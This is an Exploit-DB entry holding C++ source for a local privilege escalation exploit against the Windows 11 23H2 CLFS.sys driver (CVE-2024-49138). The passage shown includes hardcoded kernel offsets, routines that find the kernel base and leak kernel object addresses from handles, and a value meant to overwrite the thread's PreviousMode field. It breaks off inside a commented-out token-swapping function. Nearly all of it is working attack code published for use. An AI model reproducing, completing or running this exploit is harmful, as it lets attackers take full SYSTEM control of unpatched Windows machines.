Exploit-DB #52270
Description: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
Type: local
Platform: windows
Date: 2025-04-22
Author: Milad karimi

Exploit:
# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege 
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2024-49138


#include <iostream>
#include <Windows.h>
#include <clfsw32.h>
#include <format>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <iomanip>
#include <vector>
#include <cstdint>
#include "resource.h"

#define CONTROL_BLOCK_SIZE 0x400
#define OFFSET_EXTENDED_STATE 0x84
#define OFFSET_IEXTENDED_BLOCK 0x88
#define OFFSET_IFLUSHB_BLOCK 0x8c

#define _CRT_SECURE_NO_WARNINGS 1

//dt nt!_KTHREAD current
//+ 0x230 UserAffinityPrimaryGroup : 0
//+ 0x232 PreviousMode : 1 ''
//+ 0x233 BasePriority : 15 ''
//+ 0x234 PriorityDecrement : 0 ''
//+ 0x234 ForegroundBoost : 0y0000
//+ 0x234 UnusualBoost : 0y0000
//+ 0x235 Preempted : 0 ''
//+ 0x236 AdjustReason : 0 ''
//+ 0x237 AdjustIncrement : 0 ''
//+ 0x238 AffinityVersion : 0x14
//+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX
//WINDBG > dq ffffc201419e1080 + 0x232 L1
//ffffc201`419e12b2 00140000`00000f01

//WINDBG > ? nt!PoFxProcessorNotification - nt
//Evaluate expression : 3861424 = 00000000`003aebb0
//WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt
//Evaluate expression : 8324768 = 00000000`007f06a0
//WINDBG > ? nt!PsActiveProcessHead - nt
//Evaluate expression : 12812128 = 00000000`00c37f60

#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0
#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0
#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60
#define ACTIVEPROCESSLINKS_OFFSET 0x448
#define UNIQUEPROCESSID_OFFSET 0x440
#define TOKEN_OFFSET 0x4b8
#define TOKENPRIVILEGESPRESENT_OFFSET 0x40
#define TOKENPRIVILEGSENABLED_OFFSET 0x48

#pragma comment(lib, "Clfsw32.lib")

LPVOID GetKernelBaseAddress() {
    LPVOID drivers[1024]; // Array to hold driver addresses
    DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers
    int driverCount;
    TCHAR driverName[MAX_PATH];

    // Enumerate loaded device drivers
    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
        printf("Failed to enumerate device drivers. Error: %lu\n",
GetLastError());
        return (LPVOID)0x0;
    }

    driverCount = cbNeeded / sizeof(drivers[0]);

    if (driverCount == 0) {
        printf("No device drivers found.\n");
        return (LPVOID)0x0;
    }

    // The first driver is usually the Windows kernel
    LPVOID kernelBaseAddress = drivers[0];

    // Retrieve the name of the kernel driver
    if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {
        printf("Kernel Base Address: 0x%p\n", kernelBaseAddress);
        printf("Kernel Name: %ls\n", driverName);
    }
    else {
        printf("Failed to retrieve kernel name. Error: %lu\n",
GetLastError());
    }

    return kernelBaseAddress;

}


#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

// Definitions for NTSTATUS and system calls
using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG BufferSize,
    PULONG NumberOfBytesRead);

using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG BufferSize,
    PULONG NumberOfBytesWritten);

fNtReadVirtualMemory NtReadVirtualMemory = NULL;
fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;

// handle information
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// handle table information
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

PVOID GetKAddrFromHandle(HANDLE handle) {
    ULONG returnLength = 0;
    fNtQuerySystemInformation NtQuerySystemInformation =
(fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation,
handleTableInformation, SystemHandleInformationSize, &returnLength);

    ULONG numberOfHandles = handleTableInformation->NumberOfHandles;

    HeapFree(GetProcessHeap(), 0, handleTableInformation);
    handleTableInformation =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +
sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);
    NtQuerySystemInformation(SystemHandleInformation,
handleTableInformation, numberOfHandles *
sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)
+ 0x100, &returnLength);

    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =
(SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];

        if (handleInfo.HandleValue == (USHORT)handle &&
handleInfo.UniqueProcessId == GetCurrentProcessId())
        {
            return handleInfo.Object;
        }
    }
}


LPVOID g_ntbase = 0;
LPVOID address_to_write;

//Final byte = kthread.previousMode = 0
DWORD64 value_to_write = 0x[PII_REDACTED]000f00;

//BOOL SwapTokens() {
// DWORD64 eprocess = 0;
// ULON